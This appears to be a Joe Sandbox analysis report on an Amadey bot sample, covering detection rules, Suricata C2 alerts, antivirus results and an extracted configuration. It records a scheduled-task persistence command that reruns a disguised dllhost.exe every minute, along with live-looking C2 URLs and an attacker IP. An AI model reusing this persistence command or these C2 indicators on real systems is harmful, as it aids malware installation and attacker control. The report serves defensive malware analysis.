Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe, ParentProcessId: 7608, ParentProcessName: dllhost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN dllhost.exe /TR "C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe" /F, ProcessId: 7708, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Amadey Bot Activity (POST) M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T01:52:04.981329+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49730	72.52.178.23	80	TCP
2024-11-29T01:52:06.737552+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49733	72.52.178.23	80	TCP
2024-11-29T01:52:08.193392+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49735	72.52.178.23	80	TCP
2024-11-29T01:52:09.721376+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49737	72.52.178.23	80	TCP
2024-11-29T01:52:10.873368+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49739	72.52.178.23	80	TCP
2024-11-29T01:52:12.501363+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49741	72.52.178.23	80	TCP
2024-11-29T01:52:13.985422+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49744	72.52.178.23	80	TCP
2024-11-29T01:52:15.461450+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49747	72.52.178.23	80	TCP
2024-11-29T01:52:16.814535+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49750	72.52.178.23	80	TCP
2024-11-29T01:52:18.341354+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49753	72.52.178.23	80	TCP
2024-11-29T01:52:20.089421+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49756	72.52.178.23	80	TCP
2024-11-29T01:52:21.601531+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49759	72.52.178.23	80	TCP
2024-11-29T01:52:23.129615+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49761	72.52.178.23	80	TCP
2024-11-29T01:52:24.653443+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49763	72.52.178.23	80	TCP
2024-11-29T01:52:26.189519+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49765	72.52.178.23	80	TCP
2024-11-29T01:52:27.816621+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49768	72.52.178.23	80	TCP
2024-11-29T01:52:29.405772+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49770	72.52.178.23	80	TCP
2024-11-29T01:52:30.905524+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49772	72.52.178.23	80	TCP
2024-11-29T01:52:32.477602+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49774	72.52.178.23	80	TCP
2024-11-29T01:52:33.525668+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49776	72.52.178.23	80	TCP
2024-11-29T01:52:35.029629+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49778	72.52.178.23	80	TCP
2024-11-29T01:52:36.617642+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49780	72.52.178.23	80	TCP
2024-11-29T01:52:38.165655+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49782	72.52.178.23	80	TCP
2024-11-29T01:52:39.673883+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49784	72.52.178.23	80	TCP
2024-11-29T01:52:40.534446+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49786	72.52.178.23	80	TCP
2024-11-29T01:52:42.065611+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49788	72.52.178.23	80	TCP
2024-11-29T01:52:43.541623+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49790	72.52.178.23	80	TCP
2024-11-29T01:52:44.954479+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49792	72.52.178.23	80	TCP
2024-11-29T01:52:46.373796+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49794	72.52.178.23	80	TCP
2024-11-29T01:52:47.925689+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49796	72.52.178.23	80	TCP
2024-11-29T01:52:49.357695+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49798	72.52.178.23	80	TCP
2024-11-29T01:52:51.173677+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49800	72.52.178.23	80	TCP
2024-11-29T01:52:52.621722+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49802	72.52.178.23	80	TCP
2024-11-29T01:52:54.185690+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49804	72.52.178.23	80	TCP
2024-11-29T01:52:55.664544+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49808	72.52.178.23	80	TCP
2024-11-29T01:52:57.249610+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49810	72.52.178.23	80	TCP
2024-11-29T01:52:58.836751+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49817	72.52.178.23	80	TCP
2024-11-29T01:53:00.309747+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49824	72.52.178.23	80	TCP
2024-11-29T01:53:01.814602+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49826	72.52.178.23	80	TCP
2024-11-29T01:53:03.285841+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49833	72.52.178.23	80	TCP
2024-11-29T01:53:04.862658+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49840	72.52.178.23	80	TCP
2024-11-29T01:53:06.337850+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49843	72.52.178.23	80	TCP
2024-11-29T01:53:07.853949+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49850	72.52.178.23	80	TCP
2024-11-29T01:53:09.357786+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49857	72.52.178.23	80	TCP
2024-11-29T01:53:10.877867+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49860	72.52.178.23	80	TCP
2024-11-29T01:53:12.361810+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49866	72.52.178.23	80	TCP
2024-11-29T01:53:13.881838+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49872	72.52.178.23	80	TCP
2024-11-29T01:53:14.881773+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49874	72.52.178.23	80	TCP
2024-11-29T01:53:16.601975+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49881	72.52.178.23	80	TCP
2024-11-29T01:53:18.109853+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49888	72.52.178.23	80	TCP
2024-11-29T01:53:19.769801+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49890	72.52.178.23	80	TCP
2024-11-29T01:53:20.525902+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49897	72.52.178.23	80	TCP
2024-11-29T01:53:22.074131+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49899	72.52.178.23	80	TCP
2024-11-29T01:53:23.663366+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49906	72.52.178.23	80	TCP
2024-11-29T01:53:24.994496+0100	2044597	1	A Network Trojan was detected	192.168.2.4	49913	72.52.178.23	80	TCP

ET MALWARE Amadey CnC Check-In

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T01:52:05.730293+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49731	72.52.178.23	80	TCP
2024-11-29T01:52:07.320341+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49732	72.52.178.23	80	TCP
2024-11-29T01:52:08.687931+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49734	72.52.178.23	80	TCP
2024-11-29T01:52:10.108473+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49736	72.52.178.23	80	TCP
2024-11-29T01:52:11.528470+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49738	72.52.178.23	80	TCP
2024-11-29T01:52:12.981025+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49740	72.52.178.23	80	TCP
2024-11-29T01:52:14.408327+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49743	72.52.178.23	80	TCP
2024-11-29T01:52:15.830022+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49746	72.52.178.23	80	TCP
2024-11-29T01:52:17.254440+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49748	72.52.178.23	80	TCP
2024-11-29T01:52:18.722005+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49752	72.52.178.23	80	TCP
2024-11-29T01:52:20.080275+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49755	72.52.178.23	80	TCP
2024-11-29T01:52:21.513735+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49757	72.52.178.23	80	TCP
2024-11-29T01:52:23.009476+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49760	72.52.178.23	80	TCP
2024-11-29T01:52:24.420715+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49762	72.52.178.23	80	TCP
2024-11-29T01:52:25.838374+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49764	72.52.178.23	80	TCP
2024-11-29T01:52:27.246125+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49766	72.52.178.23	80	TCP
2024-11-29T01:52:28.667905+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49767	72.52.178.23	80	TCP
2024-11-29T01:52:30.046260+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49769	72.52.178.23	80	TCP
2024-11-29T01:52:31.416923+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49771	72.52.178.23	80	TCP
2024-11-29T01:52:32.825359+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49773	72.52.178.23	80	TCP
2024-11-29T01:52:34.293986+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49775	72.52.178.23	80	TCP
2024-11-29T01:52:35.714251+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49777	72.52.178.23	80	TCP
2024-11-29T01:52:37.136655+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49779	72.52.178.23	80	TCP
2024-11-29T01:52:38.560137+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49781	72.52.178.23	80	TCP
2024-11-29T01:52:39.955197+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49783	72.52.178.23	80	TCP
2024-11-29T01:52:41.437541+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49785	72.52.178.23	80	TCP
2024-11-29T01:52:42.812140+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49787	72.52.178.23	80	TCP
2024-11-29T01:52:44.285726+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49789	72.52.178.23	80	TCP
2024-11-29T01:52:45.654435+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49791	72.52.178.23	80	TCP
2024-11-29T01:52:47.027381+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49793	72.52.178.23	80	TCP
2024-11-29T01:52:48.498487+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49795	72.52.178.23	80	TCP
2024-11-29T01:52:49.872718+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49797	72.52.178.23	80	TCP
2024-11-29T01:52:51.253942+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49799	72.52.178.23	80	TCP
2024-11-29T01:52:52.668893+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49801	72.52.178.23	80	TCP
2024-11-29T01:52:54.150875+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49803	72.52.178.23	80	TCP
2024-11-29T01:52:55.737832+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49806	72.52.178.23	80	TCP
2024-11-29T01:52:57.130060+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49809	72.52.178.23	80	TCP
2024-11-29T01:52:58.608525+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49816	72.52.178.23	80	TCP
2024-11-29T01:53:00.074698+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49818	72.52.178.23	80	TCP
2024-11-29T01:53:01.540031+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49825	72.52.178.23	80	TCP
2024-11-29T01:53:02.950391+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49829	72.52.178.23	80	TCP
2024-11-29T01:53:05.839066+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49841	72.52.178.23	80	TCP
2024-11-29T01:53:07.198687+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49844	72.52.178.23	80	TCP
2024-11-29T01:53:08.734615+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49849	72.52.178.23	80	TCP
2024-11-29T01:53:10.104833+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49856	72.52.178.23	80	TCP
2024-11-29T01:53:11.511432+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49858	72.52.178.23	80	TCP
2024-11-29T01:53:12.937105+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49865	72.52.178.23	80	TCP
2024-11-29T01:53:14.315574+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49871	72.52.178.23	80	TCP
2024-11-29T01:53:15.684627+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49873	72.52.178.23	80	TCP
2024-11-29T01:53:17.102127+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49880	72.52.178.23	80	TCP
2024-11-29T01:53:18.479497+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49883	72.52.178.23	80	TCP
2024-11-29T01:53:19.887473+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49889	72.52.178.23	80	TCP
2024-11-29T01:53:21.308380+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49895	72.52.178.23	80	TCP
2024-11-29T01:53:22.774742+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49898	72.52.178.23	80	TCP
2024-11-29T01:53:24.251424+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49905	72.52.178.23	80	TCP
2024-11-29T01:53:25.627830+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49911	72.52.178.23	80	TCP
2024-11-29T01:53:27.116604+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49914	72.52.178.23	80	TCP
2024-11-29T01:53:27.597306+0100	2027700	1	Malware Command and Control Activity Detected	192.168.2.4	49921	72.52.178.23	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: S7AGd447vH.exe

Avira: detected

Antivirus detection for URL or domain

Source: web.jsonpost.xyz/sj2vMs/index.php	Avira URL Cloud: Label: phishing
Source: web.xmlpost.xyz/sj2vMs/index.php	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Avira: detection malicious, Label: TR/Fraud.Gen8

Found malware configuration

Source: 1.3.dllhost.exe.2204848.4.raw.unpack

Malware Configuration Extractor: Amadey {"C2 url": ["web.jsonpost.xyz/sj2vMs/index.php", "web.xmlpost.xyz/sj2vMs/index.php"], "Version": "2.71"}

Multi AV Scanner detection for domain / URL

Source: web.jsonpost.xyz/sj2vMs/index.php

Virustotal: Detection: 9%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: S7AGd447vH.exe	ReversingLabs: Detection: 65%
Source: S7AGd447vH.exe	Virustotal: Detection: 69%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: S7AGd447vH.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Unpacked PE file: 0.2.S7AGd447vH.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Unpacked PE file: 7.2.dllhost.exe.400000.0.unpack

Source: S7AGd447vH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: OfficeDesktop.pdb source: S7AGd447vH.exe, dllhost.exe.0.dr
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: S7AGd447vH.exe, 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp, S7AGd447vH.exe, 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp, dllhost.exe, 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: S7AGd447vH.exe, 00000000.00000003.1704708297.0000000022900000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704573003.000000002266E000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749567916.0000000022AB0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749409581.0000000022823000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819408619.0000000022688000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819679892.0000000022910000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: S7AGd447vH.exe, 00000000.00000003.1704342589.0000000022810000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704234456.0000000022664000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749047293.000000002282A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749185768.00000000229D0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818941784.000000002268F000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819091073.0000000022830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: S7AGd447vH.exe, 00000000.00000003.1704342589.0000000022810000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704234456.0000000022664000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749047293.000000002282A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749185768.00000000229D0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1818941784.000000002268F000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819091073.0000000022830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: combase.pdbUGP source: S7AGd447vH.exe, 00000000.00000003.1704708297.0000000022900000.00000004.00001000.00020000.00000000.sdmp, S7AGd447vH.exe, 00000000.00000003.1704573003.000000002266E000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749567916.0000000022AB0000.00000004.00001000.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1749409581.0000000022823000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819408619.0000000022688000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000007.00000003.1819679892.0000000022910000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49732 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49734 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49731 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49736 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49743 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49738 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49746 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49748 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49740 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49752 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49739 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49741 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49757 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49747 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49760 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49735 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49756 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49753 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49764 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49766 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49733 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49773 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49777 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49781 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49779 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49785 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49791 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49768 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49763 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49775 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49778 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49761 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49782 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49799 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49784 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49798 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49808 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49802 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49789 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49737 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49806 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49841 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49809 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49730 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49776 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49765 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49769 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49787 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49804 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49783 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49774 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49794 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49803 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49790 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49800 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.4:49826 -> 72.52.178.23:80
Source: Network traffic	Suricata IDS: 2027700 - Severity 1 - ET MALWARE Amadey CnC Check-In : 192.168.2.4:49856 -> 72.52.178.23:80
